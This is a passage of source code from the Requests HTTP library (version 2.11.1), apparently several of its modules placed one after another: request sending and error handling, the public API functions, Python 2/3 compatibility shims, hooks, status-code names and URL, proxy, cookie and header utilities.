                    for i in request.body:
                        low_conn.send(hex(len(i))[2:].encode('utf-8'))
                        low_conn.send(b'\r\n')
                        low_conn.send(i)
                        low_conn.send(b'\r\n')
                    low_conn.send(b'0\r\n\r\n')

                    # Receive the response from the server
                    try:
                        # For Python 2.7+ versions, use buffering of HTTP
                        # responses
                        r = low_conn.getresponse(buffering=True)
                    except TypeError:
                        # For compatibility with Python 2.6 versions and back
                        r = low_conn.getresponse()

                    resp = HTTPResponse.from_httplib(
                        r,
                        pool=conn,
                        connection=low_conn,
                        preload_content=False,
                        decode_content=False
                    )
                except:
                    # If we hit any problems here, clean up the connection.
                    # Then, reraise so that we can handle the actual exception.
                    low_conn.close()
                    raise

        except (ProtocolError, socket.error) as err:
            raise ConnectionError(err, request=request)

        except MaxRetryError as e:
            if isinstance(e.reason, ConnectTimeoutError):
                # TODO: Remove this in 3.0.0: see #2811
                if not isinstance(e.reason, NewConnectionError):
                    raise ConnectTimeout(e, request=request)

            if isinstance(e.reason, ResponseError):
                raise RetryError(e, request=request)

            if isinstance(e.reason, _ProxyError):
                raise ProxyError(e, request=request)

            raise ConnectionError(e, request=request)

        except ClosedPoolError as e:
            raise ConnectionError(e, request=request)

        except _ProxyError as e:
            raise ProxyError(e)

        except (_SSLError, _HTTPError) as e:
            if isinstance(e, _SSLError):
                raise SSLError(e, request=request)
            elif isinstance(e, ReadTimeoutError):
                raise ReadTimeout(e, request=request)
            else:
                raise

        return self.build_response(request, resp)






# -*- coding: utf-8 -*-

#   __
#  /__)  _  _     _   _ _/   _
# / (   (- (/ (/ (- _)  /  _)
#          /

"""
Requests HTTP library
~~~~~~~~~~~~~~~~~~~~~

Requests is an HTTP library, written in Python, for human beings. Basic GET
usage:

   >>> import requests
   >>> r = requests.get('https://www.python.org')
   >>> r.status_code
   200
   >>> 'Python is a programming language' in r.content
   True

... or POST:

   >>> payload = dict(key1='value1', key2='value2')
   >>> r = requests.post('http://httpbin.org/post', data=payload)
   >>> print(r.text)
   {
     ...
     "form": {
       "key2": "value2",
       "key1": "value1"
     },
     ...
   }

The other HTTP methods are supported - see `requests.api`. Full documentation
is at <http://python-requests.org>.

:copyright: (c) 2016 by Kenneth Reitz.
:license: Apache 2.0, see LICENSE for more details.
"""

__title__ = 'requests'
__version__ = '2.11.1'
__build__ = 0x021101
__author__ = 'Kenneth Reitz'
__license__ = 'Apache 2.0'
__copyright__ = 'Copyright 2016 Kenneth Reitz'

# Attempt to enable urllib3's SNI support, if possible
try:
    from .packages.urllib3.contrib import pyopenssl
    pyopenssl.inject_into_urllib3()
except ImportError:
    pass

import warnings

# urllib3's DependencyWarnings should be silenced.
from .packages.urllib3.exceptions import DependencyWarning
warnings.simplefilter('ignore', DependencyWarning)

from . import utils
from .models import Request, Response, PreparedRequest
from .api import request, get, head, post, patch, put, delete, options
from .sessions import session, Session
from .status_codes import codes
from .exceptions import (
    RequestException, Timeout, URLRequired,
    TooManyRedirects, HTTPError, ConnectionError,
    FileModeWarning, ConnectTimeout, ReadTimeout
)

# Set default logging handler to avoid "No handler found" warnings.
import logging
try:  # Python 2.7+
    from logging import NullHandler
except ImportError:
    class NullHandler(logging.Handler):
        def emit(self, record):
            pass

logging.getLogger(__name__).addHandler(NullHandler())

# FileModeWarnings go off per the default.
warnings.simplefilter('default', FileModeWarning, append=True)






# -*- coding: utf-8 -*-

"""
requests.api
~~~~~~~~~~~~

This module implements the Requests API.

:copyright: (c) 2012 by Kenneth Reitz.
:license: Apache2, see LICENSE for more details.
"""

from . import sessions


def request(method, url, **kwargs):
    """Constructs and sends a :class:`Request <Request>`.

    :param method: method for the new :class:`Request` object.
    :param url: URL for the new :class:`Request` object.
    :param params: (optional) Dictionary or bytes to be sent in the query string for the :class:`Request`.
    :param data: (optional) Dictionary, bytes, or file-like object to send in the body of the :class:`Request`.
    :param json: (optional) json data to send in the body of the :class:`Request`.
    :param headers: (optional) Dictionary of HTTP Headers to send with the :class:`Request`.
    :param cookies: (optional) Dict or CookieJar object to send with the :class:`Request`.
    :param files: (optional) Dictionary of ``'name': file-like-objects`` (or ``{'name': file-tuple}``) for multipart encoding upload.
        ``file-tuple`` can be a 2-tuple ``('filename', fileobj)``, 3-tuple ``('filename', fileobj, 'content_type')``
        or a 4-tuple ``('filename', fileobj, 'content_type', custom_headers)``, where ``'content-type'`` is a string
        defining the content type of the given file and ``custom_headers`` a dict-like object containing additional headers
        to add for the file.
    :param auth: (optional) Auth tuple to enable Basic/Digest/Custom HTTP Auth.
    :param timeout: (optional) How long to wait for the server to send data
        before giving up, as a float, or a :ref:`(connect timeout, read
        timeout) <timeouts>` tuple.
    :type timeout: float or tuple
    :param allow_redirects: (optional) Boolean. Set to True if POST/PUT/DELETE redirect following is allowed.
    :type allow_redirects: bool
    :param proxies: (optional) Dictionary mapping protocol to the URL of the proxy.
    :param verify: (optional) whether the SSL cert will be verified. A CA_BUNDLE path can also be provided. Defaults to ``True``.
    :param stream: (optional) if ``False``, the response content will be immediately downloaded.
    :param cert: (optional) if String, path to ssl client cert file (.pem). If Tuple, ('cert', 'key') pair.
    :return: :class:`Response <Response>` object
    :rtype: requests.Response

    Usage::

      >>> import requests
      >>> req = requests.request('GET', 'http://httpbin.org/get')
      <Response [200]>
    """

    # By using the 'with' statement we are sure the session is closed, thus we
    # avoid leaving sockets open which can trigger a ResourceWarning in some
    # cases, and look like a memory leak in others.
    with sessions.Session() as session:
        return session.request(method=method, url=url, **kwargs)


def get(url, params=None, **kwargs):
    """Sends a GET request.

    :param url: URL for the new :class:`Request` object.
    :param params: (optional) Dictionary or bytes to be sent in the query string for the :class:`Request`.
    :param \*\*kwargs: Optional arguments that ``request`` takes.
    :return: :class:`Response <Response>` object
    :rtype: requests.Response
    """

    kwargs.setdefault('allow_redirects', True)
    return request('get', url, params=params, **kwargs)


def options(url, **kwargs):
    """Sends a OPTIONS request.

    :param url: URL for the new :class:`Request` object.
    :param \*\*kwargs: Optional arguments that ``request`` takes.
    :return: :class:`Response <Response>` object
    :rtype: requests.Response
    """

    kwargs.setdefault('allow_redirects', True)
    return request('options', url, **kwargs)


def head(url, **kwargs):
    """Sends a HEAD request.

    :param url: URL for the new :class:`Request` object.
    :param \*\*kwargs: Optional arguments that ``request`` takes.
    :return: :class:`Response <Response>` object
    :rtype: requests.Response
    """

    kwargs.setdefault('allow_redirects', False)
    return request('head', url, **kwargs)


def post(url, data=None, json=None, **kwargs):
    """Sends a POST request.

    :param url: URL for the new :class:`Request` object.
    :param data: (optional) Dictionary, bytes, or file-like object to send in the body of the :class:`Request`.
    :param json: (optional) json data to send in the body of the :class:`Request`.
    :param \*\*kwargs: Optional arguments that ``request`` takes.
    :return: :class:`Response <Response>` object
    :rtype: requests.Response
    """

    return request('post', url, data=data, json=json, **kwargs)


def put(url, data=None, **kwargs):
    """Sends a PUT request.

    :param url: URL for the new :class:`Request` object.
    :param data: (optional) Dictionary, bytes, or file-like object to send in the body of the :class:`Request`.
    :param \*\*kwargs: Optional arguments that ``request`` takes.
    :return: :class:`Response <Response>` object
    :rtype: requests.Response
    """

    return request('put', url, data=data, **kwargs)


def patch(url, data=None, **kwargs):
    """Sends a PATCH request.

    :param url: URL for the new :class:`Request` object.
    :param data: (optional) Dictionary, bytes, or file-like object to send in the body of the :class:`Request`.
    :param \*\*kwargs: Optional arguments that ``request`` takes.
    :return: :class:`Response <Response>` object
    :rtype: requests.Response
    """

    return request('patch', url,  data=data, **kwargs)


def delete(url, **kwargs):
    """Sends a DELETE request.

    :param url: URL for the new :class:`Request` object.
    :param \*\*kwargs: Optional arguments that ``request`` takes.
    :return: :class:`Response <Response>` object
    :rtype: requests.Response
    """

    return request('delete', url, **kwargs)






# -*- coding: utf-8 -*-

"""
requests.compat
~~~~~~~~~~~~~~~

This module handles import compatibility issues between Python 2 and
Python 3.
"""

from .packages import chardet

import sys

# -------
# Pythons
# -------

# Syntax sugar.
_ver = sys.version_info

#: Python 2.x?
is_py2 = (_ver[0] == 2)

#: Python 3.x?
is_py3 = (_ver[0] == 3)

try:
    import simplejson as json
except (ImportError, SyntaxError):
    # simplejson does not support Python 3.2, it throws a SyntaxError
    # because of u'...' Unicode literals.
    import json

# ---------
# Specifics
# ---------

if is_py2:
    from urllib import quote, unquote, quote_plus, unquote_plus, urlencode, getproxies, proxy_bypass
    from urlparse import urlparse, urlunparse, urljoin, urlsplit, urldefrag
    from urllib2 import parse_http_list
    import cookielib
    from Cookie import Morsel
    from StringIO import StringIO
    from .packages.urllib3.packages.ordered_dict import OrderedDict

    builtin_str = str
    bytes = str
    str = unicode
    basestring = basestring
    numeric_types = (int, long, float)

elif is_py3:
    from urllib.parse import urlparse, urlunparse, urljoin, urlsplit, urlencode, quote, unquote, quote_plus, unquote_plus, urldefrag
    from urllib.request import parse_http_list, getproxies, proxy_bypass
    from http import cookiejar as cookielib
    from http.cookies import Morsel
    from io import StringIO
    from collections import OrderedDict

    builtin_str = str
    str = str
    bytes = bytes
    basestring = (str, bytes)
    numeric_types = (int, float)






# -*- coding: utf-8 -*-

"""
requests.hooks
~~~~~~~~~~~~~~

This module provides the capabilities for the Requests hooks system.

Available hooks:

``response``:
    The response generated from a Request.
"""
HOOKS = ['response']


def default_hooks():
    return dict((event, []) for event in HOOKS)

# TODO: response is the only one


def dispatch_hook(key, hooks, hook_data, **kwargs):
    """Dispatches a hook dictionary on a given piece of data."""
    hooks = hooks or dict()
    hooks = hooks.get(key)
    if hooks:
        if hasattr(hooks, '__call__'):
            hooks = [hooks]
        for hook in hooks:
            _hook_data = hook(hook_data, **kwargs)
            if _hook_data is not None:
                hook_data = _hook_data
    return hook_data






# -*- coding: utf-8 -*-

from .structures import LookupDict

_codes = {

    # Informational.
    100: ('continue',),
    101: ('switching_protocols',),
    102: ('processing',),
    103: ('checkpoint',),
    122: ('uri_too_long', 'request_uri_too_long'),
    200: ('ok', 'okay', 'all_ok', 'all_okay', 'all_good', '\\o/', '✓'),
    201: ('created',),
    202: ('accepted',),
    203: ('non_authoritative_info', 'non_authoritative_information'),
    204: ('no_content',),
    205: ('reset_content', 'reset'),
    206: ('partial_content', 'partial'),
    207: ('multi_status', 'multiple_status', 'multi_stati', 'multiple_stati'),
    208: ('already_reported',),
    226: ('im_used',),

    # Redirection.
    300: ('multiple_choices',),
    301: ('moved_permanently', 'moved', '\\o-'),
    302: ('found',),
    303: ('see_other', 'other'),
    304: ('not_modified',),
    305: ('use_proxy',),
    306: ('switch_proxy',),
    307: ('temporary_redirect', 'temporary_moved', 'temporary'),
    308: ('permanent_redirect',
          'resume_incomplete', 'resume',),  # These 2 to be removed in 3.0

    # Client Error.
    400: ('bad_request', 'bad'),
    401: ('unauthorized',),
    402: ('payment_required', 'payment'),
    403: ('forbidden',),
    404: ('not_found', '-o-'),
    405: ('method_not_allowed', 'not_allowed'),
    406: ('not_acceptable',),
    407: ('proxy_authentication_required', 'proxy_auth', 'proxy_authentication'),
    408: ('request_timeout', 'timeout'),
    409: ('conflict',),
    410: ('gone',),
    411: ('length_required',),
    412: ('precondition_failed', 'precondition'),
    413: ('request_entity_too_large',),
    414: ('request_uri_too_large',),
    415: ('unsupported_media_type', 'unsupported_media', 'media_type'),
    416: ('requested_range_not_satisfiable', 'requested_range', 'range_not_satisfiable'),
    417: ('expectation_failed',),
    418: ('im_a_teapot', 'teapot', 'i_am_a_teapot'),
    421: ('misdirected_request',),
    422: ('unprocessable_entity', 'unprocessable'),
    423: ('locked',),
    424: ('failed_dependency', 'dependency'),
    425: ('unordered_collection', 'unordered'),
    426: ('upgrade_required', 'upgrade'),
    428: ('precondition_required', 'precondition'),
    429: ('too_many_requests', 'too_many'),
    431: ('header_fields_too_large', 'fields_too_large'),
    444: ('no_response', 'none'),
    449: ('retry_with', 'retry'),
    450: ('blocked_by_windows_parental_controls', 'parental_controls'),
    451: ('unavailable_for_legal_reasons', 'legal_reasons'),
    499: ('client_closed_request',),

    # Server Error.
    500: ('internal_server_error', 'server_error', '/o\\', '✗'),
    501: ('not_implemented',),
    502: ('bad_gateway',),
    503: ('service_unavailable', 'unavailable'),
    504: ('gateway_timeout',),
    505: ('http_version_not_supported', 'http_version'),
    506: ('variant_also_negotiates',),
    507: ('insufficient_storage',),
    509: ('bandwidth_limit_exceeded', 'bandwidth'),
    510: ('not_extended',),
    511: ('network_authentication_required', 'network_auth', 'network_authentication'),
}

codes = LookupDict(name='status_codes')

for code, titles in _codes.items():
    for title in titles:
        setattr(codes, title, code)
        if not title.startswith('\\'):
            setattr(codes, title.upper(), code)






# -*- coding: utf-8 -*-

"""
requests.utils
~~~~~~~~~~~~~~

This module provides utility functions that are used within Requests
that are also useful for external consumption.
"""

import cgi
import codecs
import collections
import io
import os
import re
import socket
import struct
import warnings

from . import __version__
from . import certs
from .compat import parse_http_list as _parse_list_header
from .compat import (quote, urlparse, bytes, str, OrderedDict, unquote, is_py2,
                     builtin_str, getproxies, proxy_bypass, urlunparse,
                     basestring)
from .cookies import RequestsCookieJar, cookiejar_from_dict
from .structures import CaseInsensitiveDict
from .exceptions import InvalidURL, InvalidHeader, FileModeWarning

_hush_pyflakes = (RequestsCookieJar,)

NETRC_FILES = ('.netrc', '_netrc')

DEFAULT_CA_BUNDLE_PATH = certs.where()


def dict_to_sequence(d):
    """Returns an internal sequence dictionary update."""

    if hasattr(d, 'items'):
        d = d.items()

    return d


def super_len(o):
    total_length = 0
    current_position = 0

    if hasattr(o, '__len__'):
        total_length = len(o)

    elif hasattr(o, 'len'):
        total_length = o.len

    elif hasattr(o, 'getvalue'):
        # e.g. BytesIO, cStringIO.StringIO
        total_length = len(o.getvalue())

    elif hasattr(o, 'fileno'):
        try:
            fileno = o.fileno()
        except io.UnsupportedOperation:
            pass
        else:
            total_length = os.fstat(fileno).st_size

            # Having used fstat to determine the file length, we need to
            # confirm that this file was opened up in binary mode.
            if 'b' not in o.mode:
                warnings.warn((
                    "Requests has determined the content-length for this "
                    "request using the binary size of the file: however, the "
                    "file has been opened in text mode (i.e. without the 'b' "
                    "flag in the mode). This may lead to an incorrect "
                    "content-length. In Requests 3.0, support will be removed "
                    "for files in text mode."),
                    FileModeWarning
                )

    if hasattr(o, 'tell'):
        try:
            current_position = o.tell()
        except (OSError, IOError):
            # This can happen in some weird situations, such as when the file
            # is actually a special file descriptor like stdin. In this
            # instance, we don't know what the length is, so set it to zero and
            # let requests chunk it instead.
            current_position = total_length

    return max(0, total_length - current_position)


def get_netrc_auth(url, raise_errors=False):
    """Returns the Requests tuple auth for a given url from netrc."""

    try:
        from netrc import netrc, NetrcParseError

        netrc_path = None

        for f in NETRC_FILES:
            try:
                loc = os.path.expanduser('~/{0}'.format(f))
            except KeyError:
                # os.path.expanduser can fail when $HOME is undefined and
                # getpwuid fails. See http://bugs.python.org/issue20164 &
                # https://github.com/kennethreitz/requests/issues/1846
                return

            if os.path.exists(loc):
                netrc_path = loc
                break

        # Abort early if there isn't one.
        if netrc_path is None:
            return

        ri = urlparse(url)

        # Strip port numbers from netloc. This weird `if...encode`` dance is
        # used for Python 3.2, which doesn't support unicode literals.
        splitstr = b':'
        if isinstance(url, str):
            splitstr = splitstr.decode('ascii')
        host = ri.netloc.split(splitstr)[0]

        try:
            _netrc = netrc(netrc_path).authenticators(host)
            if _netrc:
                # Return with login / password
                login_i = (0 if _netrc[0] else 1)
                return (_netrc[login_i], _netrc[2])
        except (NetrcParseError, IOError):
            # If there was a parsing error or a permissions issue reading the file,
            # we'll just skip netrc auth unless explicitly asked to raise errors.
            if raise_errors:
                raise

    # AppEngine hackiness.
    except (ImportError, AttributeError):
        pass


def guess_filename(obj):
    """Tries to guess the filename of the given object."""
    name = getattr(obj, 'name', None)
    if (name and isinstance(name, basestring) and name[0] != '<' and
            name[-1] != '>'):
        return os.path.basename(name)


def from_key_val_list(value):
    """Take an object and test to see if it can be represented as a
    dictionary. Unless it can not be represented as such, return an
    OrderedDict, e.g.,

    ::

        >>> from_key_val_list([('key', 'val')])
        OrderedDict([('key', 'val')])
        >>> from_key_val_list('string')
        ValueError: need more than 1 value to unpack
        >>> from_key_val_list({'key': 'val'})
        OrderedDict([('key', 'val')])

    :rtype: OrderedDict
    """
    if value is None:
        return None

    if isinstance(value, (str, bytes, bool, int)):
        raise ValueError('cannot encode objects that are not 2-tuples')

    return OrderedDict(value)


def to_key_val_list(value):
    """Take an object and test to see if it can be represented as a
    dictionary. If it can be, return a list of tuples, e.g.,

    ::

        >>> to_key_val_list([('key', 'val')])
        [('key', 'val')]
        >>> to_key_val_list({'key': 'val'})
        [('key', 'val')]
        >>> to_key_val_list('string')
        ValueError: cannot encode objects that are not 2-tuples.

    :rtype: list
    """
    if value is None:
        return None

    if isinstance(value, (str, bytes, bool, int)):
        raise ValueError('cannot encode objects that are not 2-tuples')

    if isinstance(value, collections.Mapping):
        value = value.items()

    return list(value)


# From mitsuhiko/werkzeug (used with permission).
def parse_list_header(value):
    """Parse lists as described by RFC 2068 Section 2.

    In particular, parse comma-separated lists where the elements of
    the list may include quoted-strings.  A quoted-string could
    contain a comma.  A non-quoted string could have quotes in the
    middle.  Quotes are removed automatically after parsing.

    It basically works like :func:`parse_set_header` just that items
    may appear multiple times and case sensitivity is preserved.

    The return value is a standard :class:`list`:

    >>> parse_list_header('token, "quoted value"')
    ['token', 'quoted value']

    To create a header from the :class:`list` again, use the
    :func:`dump_header` function.

    :param value: a string with a list header.
    :return: :class:`list`
    :rtype: list
    """
    result = []
    for item in _parse_list_header(value):
        if item[:1] == item[-1:] == '"':
            item = unquote_header_value(item[1:-1])
        result.append(item)
    return result


# From mitsuhiko/werkzeug (used with permission).
def parse_dict_header(value):
    """Parse lists of key, value pairs as described by RFC 2068 Section 2 and
    convert them into a python dict:

    >>> d = parse_dict_header('foo="is a fish", bar="as well"')
    >>> type(d) is dict
    True
    >>> sorted(d.items())
    [('bar', 'as well'), ('foo', 'is a fish')]

    If there is no value for a key it will be `None`:

    >>> parse_dict_header('key_without_value')
    {'key_without_value': None}

    To create a header from the :class:`dict` again, use the
    :func:`dump_header` function.

    :param value: a string with a dict header.
    :return: :class:`dict`
    :rtype: dict
    """
    result = {}
    for item in _parse_list_header(value):
        if '=' not in item:
            result[item] = None
            continue
        name, value = item.split('=', 1)
        if value[:1] == value[-1:] == '"':
            value = unquote_header_value(value[1:-1])
        result[name] = value
    return result


# From mitsuhiko/werkzeug (used with permission).
def unquote_header_value(value, is_filename=False):
    r"""Unquotes a header value.  (Reversal of :func:`quote_header_value`).
    This does not use the real unquoting but what browsers are actually
    using for quoting.

    :param value: the header value to unquote.
    :rtype: str
    """
    if value and value[0] == value[-1] == '"':
        # this is not the real unquoting, but fixing this so that the
        # RFC is met will result in bugs with internet explorer and
        # probably some other browsers as well.  IE for example is
        # uploading files with "C:\foo\bar.txt" as filename
        value = value[1:-1]

        # if this is a filename and the starting characters look like
        # a UNC path, then just return the value without quotes.  Using the
        # replace sequence below on a UNC path has the effect of turning
        # the leading double slash into a single slash and then
        # _fix_ie_filename() doesn't work correctly.  See #458.
        if not is_filename or value[:2] != '\\\\':
            return value.replace('\\\\', '\\').replace('\\"', '"')
    return value


def dict_from_cookiejar(cj):
    """Returns a key/value dictionary from a CookieJar.

    :param cj: CookieJar object to extract cookies from.
    :rtype: dict
    """

    cookie_dict = {}

    for cookie in cj:
        cookie_dict[cookie.name] = cookie.value

    return cookie_dict


def add_dict_to_cookiejar(cj, cookie_dict):
    """Returns a CookieJar from a key/value dictionary.

    :param cj: CookieJar to insert cookies into.
    :param cookie_dict: Dict of key/values to insert into CookieJar.
    :rtype: CookieJar
    """

    cj2 = cookiejar_from_dict(cookie_dict)
    cj.update(cj2)
    return cj


def get_encodings_from_content(content):
    """Returns encodings from given content string.

    :param content: bytestring to extract encodings from.
    """
    warnings.warn((
        'In requests 3.0, get_encodings_from_content will be removed. For '
        'more information, please see the discussion on issue #2266. (This'
        ' warning should only appear once.)'),
        DeprecationWarning)

    charset_re = re.compile(r'<meta.*?charset=["\']*(.+?)["\'>]', flags=re.I)
    pragma_re = re.compile(r'<meta.*?content=["\']*;?charset=(.+?)["\'>]', flags=re.I)
    xml_re = re.compile(r'^<\?xml.*?encoding=["\']*(.+?)["\'>]')

    return (charset_re.findall(content) +
            pragma_re.findall(content) +
            xml_re.findall(content))


def get_encoding_from_headers(headers):
    """Returns encodings from given HTTP Header Dict.

    :param headers: dictionary to extract encoding from.
    :rtype: str
    """

    content_type = headers.get('content-type')

    if not content_type:
        return None

    content_type, params = cgi.parse_header(content_type)

    if 'charset' in params:
        return params['charset'].strip("'\"")

    if 'text' in content_type:
        return 'ISO-8859-1'


def stream_decode_response_unicode(iterator, r):
    """Stream decodes a iterator."""

    if r.encoding is None:
        for item in iterator:
            yield item
        return

    decoder = codecs.getincrementaldecoder(r.encoding)(errors='replace')
    for chunk in iterator:
        rv = decoder.decode(chunk)
        if rv:
            yield rv
    rv = decoder.decode(b'', final=True)
    if rv:
        yield rv


def iter_slices(string, slice_length):
    """Iterate over slices of a string."""
    pos = 0
    if slice_length is None or slice_length <= 0:
        slice_length = len(string)
    while pos < len(string):
        yield string[pos:pos + slice_length]
        pos += slice_length


def get_unicode_from_response(r):
    """Returns the requested content back in unicode.

    :param r: Response object to get unicode content from.

    Tried:

    1. charset from content-type
    2. fall back and replace all unicode characters

    :rtype: str
    """
    warnings.warn((
        'In requests 3.0, get_unicode_from_response will be removed. For '
        'more information, please see the discussion on issue #2266. (This'
        ' warning should only appear once.)'),
        DeprecationWarning)

    tried_encodings = []

    # Try charset from content-type
    encoding = get_encoding_from_headers(r.headers)

    if encoding:
        try:
            return str(r.content, encoding)
        except UnicodeError:
            tried_encodings.append(encoding)

    # Fall back:
    try:
        return str(r.content, encoding, errors='replace')
    except TypeError:
        return r.content


# The unreserved URI characters (RFC 3986)
UNRESERVED_SET = frozenset(
    "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
    + "0123456789-._~")


def unquote_unreserved(uri):
    """Un-escape any percent-escape sequences in a URI that are unreserved
    characters. This leaves all reserved, illegal and non-ASCII bytes encoded.

    :rtype: str
    """
    parts = uri.split('%')
    for i in range(1, len(parts)):
        h = parts[i][0:2]
        if len(h) == 2 and h.isalnum():
            try:
                c = chr(int(h, 16))
            except ValueError:
                raise InvalidURL("Invalid percent-escape sequence: '%s'" % h)

            if c in UNRESERVED_SET:
                parts[i] = c + parts[i][2:]
            else:
                parts[i] = '%' + parts[i]
        else:
            parts[i] = '%' + parts[i]
    return ''.join(parts)


def requote_uri(uri):
    """Re-quote the given URI.

    This function passes the given URI through an unquote/quote cycle to
    ensure that it is fully and consistently quoted.

    :rtype: str
    """
    safe_with_percent = "!#$%&'()*+,/:;=?@[]~"
    safe_without_percent = "!#$&'()*+,/:;=?@[]~"
    try:
        # Unquote only the unreserved characters
        # Then quote only illegal characters (do not quote reserved,
        # unreserved, or '%')
        return quote(unquote_unreserved(uri), safe=safe_with_percent)
    except InvalidURL:
        # We couldn't unquote the given URI, so let's try quoting it, but
        # there may be unquoted '%'s in the URI. We need to make sure they're
        # properly quoted so they do not cause issues elsewhere.
        return quote(uri, safe=safe_without_percent)


def address_in_network(ip, net):
    """This function allows you to check if on IP belongs to a network subnet

    Example: returns True if ip = 192.168.1.1 and net = 192.168.1.0/24
             returns False if ip = 192.168.1.1 and net = 192.168.100.0/24

    :rtype: bool
    """
    ipaddr = struct.unpack('=L', socket.inet_aton(ip))[0]
    netaddr, bits = net.split('/')
    netmask = struct.unpack('=L', socket.inet_aton(dotted_netmask(int(bits))))[0]
    network = struct.unpack('=L', socket.inet_aton(netaddr))[0] & netmask
    return (ipaddr & netmask) == (network & netmask)


def dotted_netmask(mask):
    """Converts mask from /xx format to xxx.xxx.xxx.xxx

    Example: if mask is 24 function returns 255.255.255.0

    :rtype: str
    """
    bits = 0xffffffff ^ (1 << 32 - mask) - 1
    return socket.inet_ntoa(struct.pack('>I', bits))


def is_ipv4_address(string_ip):
    """
    :rtype: bool
    """
    try:
        socket.inet_aton(string_ip)
    except socket.error:
        return False
    return True


def is_valid_cidr(string_network):
    """
    Very simple check of the cidr format in no_proxy variable.

    :rtype: bool
    """
    if string_network.count('/') == 1:
        try:
            mask = int(string_network.split('/')[1])
        except ValueError:
            return False

        if mask < 1 or mask > 32:
            return False

        try:
            socket.inet_aton(string_network.split('/')[0])
        except socket.error:
            return False
    else:
        return False
    return True


def should_bypass_proxies(url):
    """
    Returns whether we should bypass proxies or not.

    :rtype: bool
    """
    get_proxy = lambda k: os.environ.get(k) or os.environ.get(k.upper())

    # First check whether no_proxy is defined. If it is, check that the URL
    # we're getting isn't in the no_proxy list.
    no_proxy = get_proxy('no_proxy')
    netloc = urlparse(url).netloc

    if no_proxy:
        # We need to check whether we match here. We need to see if we match
        # the end of the netloc, both with and without the port.
        no_proxy = (
            host for host in no_proxy.replace(' ', '').split(',') if host
        )

        ip = netloc.split(':')[0]
        if is_ipv4_address(ip):
            for proxy_ip in no_proxy:
                if is_valid_cidr(proxy_ip):
                    if address_in_network(ip, proxy_ip):
                        return True
                elif ip == proxy_ip:
                    # If no_proxy ip was defined in plain IP notation instead of cidr notation &
                    # matches the IP of the index
                    return True
        else:
            for host in no_proxy:
                if netloc.endswith(host) or netloc.split(':')[0].endswith(host):
                    # The URL does match something in no_proxy, so we don't want
                    # to apply the proxies on this URL.
                    return True

    # If the system proxy settings indicate that this URL should be bypassed,
    # don't proxy.
    # The proxy_bypass function is incredibly buggy on OS X in early versions
    # of Python 2.6, so allow this call to fail. Only catch the specific
    # exceptions we've seen, though: this call failing in other ways can reveal
    # legitimate problems.
    try:
        bypass = proxy_bypass(netloc)
    except (TypeError, socket.gaierror):
        bypass = False

    if bypass:
        return True

    return False


def get_environ_proxies(url):
    """
    Return a dict of environment proxies.

    :rtype: dict
    """
    if should_bypass_proxies(url):
        return {}
    else:
        return getproxies()


def select_proxy(url, proxies):
    """Select a proxy for the url, if applicable.

    :param url: The url being for the request
    :param proxies: A dictionary of schemes or schemes and hosts to proxy URLs
    """
    proxies = proxies or {}
    urlparts = urlparse(url)
    if urlparts.hostname is None:
        return proxies.get(urlparts.scheme, proxies.get('all'))

    proxy_keys = [
        urlparts.scheme + '://' + urlparts.hostname,
        urlparts.scheme,
        'all://' + urlparts.hostname,
        'all',
    ]
    proxy = None
    for proxy_key in proxy_keys:
        if proxy_key in proxies:
            proxy = proxies[proxy_key]
            break

    return proxy


def default_user_agent(name="python-requests"):
    """
    Return a string representing the default user agent.

    :rtype: str
    """
    return '%s/%s' % (name, __version__)


def default_headers():
    """
    :rtype: requests.structures.CaseInsensitiveDict
    """
    return CaseInsensitiveDict({
        'User-Agent': default_user_agent(),
        'Accept-Encoding': ', '.join(('gzip', 'deflate')),
        'Accept': '*/*',
        'Connection': 'keep-alive',
    })


def parse_header_links(value):
    """Return a dict of parsed link headers proxies.

    i.e. Link: <http:/.../front.jpeg>; rel=front; type="image/jpeg",<http://.../back.jpeg>; rel=back;type="image/jpeg"

    :rtype: list
    """

    links = []

    replace_chars = ' \'"'

    for val in re.split(', *<', value):
        try:
            url, params = val.split(';', 1)
        except ValueError:
            url, params = val, ''

        link = {'url': url.strip('<> \'"')}

        for param in params.split(';'):
            try:
                key, value = param.split('=')
            except ValueError:
                break

            link[key.strip(replace_chars)] = value.strip(replace_chars)

        links.append(link)

    return links


# Null bytes; no need to recreate these on each call to guess_json_utf
_null = '\x00'.encode('ascii')  # encoding to ASCII for Python 3
_null2 = _null * 2
_null3 = _null * 3


def guess_json_utf(data):
    """
    :rtype: str
    """
    # JSON always starts with two ASCII characters, so detection is as
    # easy as counting the nulls and from their location and count
    # determine the encoding. Also detect a BOM, if present.
    sample = data[:4]
    if sample in (codecs.BOM_UTF32_LE, codecs.BOM32_BE):
        return 'utf-32'     # BOM included
    if sample[:3] == codecs.BOM_UTF8:
        return 'utf-8-sig'  # BOM included, MS style (discouraged)
    if sample[:2] in (codecs.BOM_UTF16_LE, codecs.BOM_UTF16_BE):
        return 'utf-16'     # BOM included
    nullcount = sample.count(_null)
    if nullcount == 0:
        return 'utf-8'
    if nullcount == 2:
        if sample[::2] == _null2:   # 1st and 3rd are null
            return 'utf-16-be'
        if sample[1::2] == _null2:  # 2nd and 4th are null
            return 'utf-16-le'
        # Did not detect 2 valid UTF-16 ascii-range characters
    if nullcount == 3:
        if sample[:3] == _null3:
            return 'utf-32-be'
        if sample[1:] == _null3:
            return 'utf-32-le'
        # Did not detect a valid UTF-32 ascii-range character
    return None


def prepend_scheme_if_needed(url, new_scheme):
    """Given a URL that may or may not have a scheme, prepend the given scheme.
    Does not replace a present scheme with the one provided as an argument.

    :rtype: str
    """
    scheme, netloc, path, params, query, fragment = urlparse(url, new_scheme)

    # urlparse is a finicky beast, and sometimes decides that there isn't a
    # netloc present. Assume that it's being over-cautious, and switch netloc
    # and path if urlparse decided there was no netloc.
    if not netloc:
        netloc, path = path, netloc

    return urlunparse((scheme, netloc, path, params, query, fragment))


def get_auth_from_url(url):
    """Given a url with authentication components, extract them into a tuple of
    username,password.

    :rtype: (str,str)
    """
    parsed = urlparse(url)

    try:
        auth = (unquote(parsed.username), unquote(parsed.password))
    except (AttributeError, TypeError):
        auth = ('', '')

    return auth


def to_native_string(string, encoding='ascii'):
    """Given a string object, regardless of type, returns a representation of
    that string in the native string type, encoding and decoding where
    necessary. This assumes ASCII unless told otherwise.
    """
    if isinstance(string, builtin_str):
        out = string
    else:
        if is_py2:
            out = string.encode(encoding)
        else:
            out = string.decode(encoding)

    return out


# Moved outside of function to avoid recompile every call
_CLEAN_HEADER_REGEX_BYTE = re.compile(b'^\\S[^\\r\\n]*$|^$')
